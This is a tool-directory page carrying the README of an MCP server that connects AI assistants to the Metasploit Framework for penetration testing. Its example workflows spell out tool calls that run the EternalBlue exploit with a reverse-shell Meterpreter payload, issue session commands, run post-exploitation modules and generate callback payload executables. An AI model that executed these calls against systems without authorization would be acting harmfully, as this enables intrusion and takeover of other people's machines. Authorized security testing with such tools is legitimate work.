Labsco
GH05TCREW logo

Metasploit MCP Server

★ 679

from GH05TCREW

An MCP server for integrating with the Metasploit Framework, enabling payload generation and management.

🔥🔥🔥✓ VerifiedAccount requiredNeeds API keys
#automation#devops#git#maps#security

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

  • list_exploits: Search and list available Metasploit exploit modules
  • list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

  • run_exploit: Configure and execute an exploit against a target with options to run checks first
  • run_auxiliary_module: Run any Metasploit auxiliary module with custom options
  • run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

  • generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

  • list_active_sessions: Show current Metasploit sessions with detailed information
  • send_session_command: Run a command in an active shell or Meterpreter session
  • terminate_session: Forcefully end an active session

Handler Management

  • list_listeners: Show all active handlers and background jobs
  • start_listener: Create a new multi/handler to receive connections
  • stop_job: Terminate any running job or handler

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

  • Always validate and review all commands before execution
  • Only run in segregated test environments or with proper authorization
  • Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

  1. List available exploits: list_exploits("ms17_010")
  2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. List sessions: list_active_sessions()
  4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

  1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Send custom commands: send_session_command(1, "sysinfo")
  3. Terminate when done: terminate_session(1)

Handler Management

  1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. List active handlers: list_listeners()
  3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Stop a handler: stop_job(1)

Testing

This project includes comprehensive unit and integration tests to ensure reliability and maintainability.

Prerequisites for Testing

Install test dependencies:

pip install -r requirements-test.txt

Or use the convenient installer:

python run_tests.py --install-deps
# OR
make install-deps

Running Tests

Quick Commands

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

Specific Test Suites

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

Test Options

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

Test Structure

  • tests/test_options_parsing.py: Unit tests for the graceful options parsing functionality
  • tests/test_helpers.py: Unit tests for internal helper functions and MSF client management
  • tests/test_tools_integration.py: Integration tests for all MCP tools with mocked Metasploit backend
  • conftest.py: Shared test fixtures and configuration
  • pytest.ini: Pytest configuration with coverage settings

Test Features

  • Comprehensive Mocking: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
  • Async Support: Full async/await testing support using pytest-asyncio
  • Coverage Reporting: Detailed coverage analysis with HTML reports
  • Parametrized Tests: Efficient testing of multiple input scenarios
  • Fixture Management: Reusable test fixtures for common setup scenarios

Coverage Reports

After running tests with coverage, reports are available in:

  • Terminal: Coverage summary displayed after test run
  • HTML: htmlcov/index.html (when using --html option)

CI/CD Integration

For continuous integration:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

License

Apache 2.0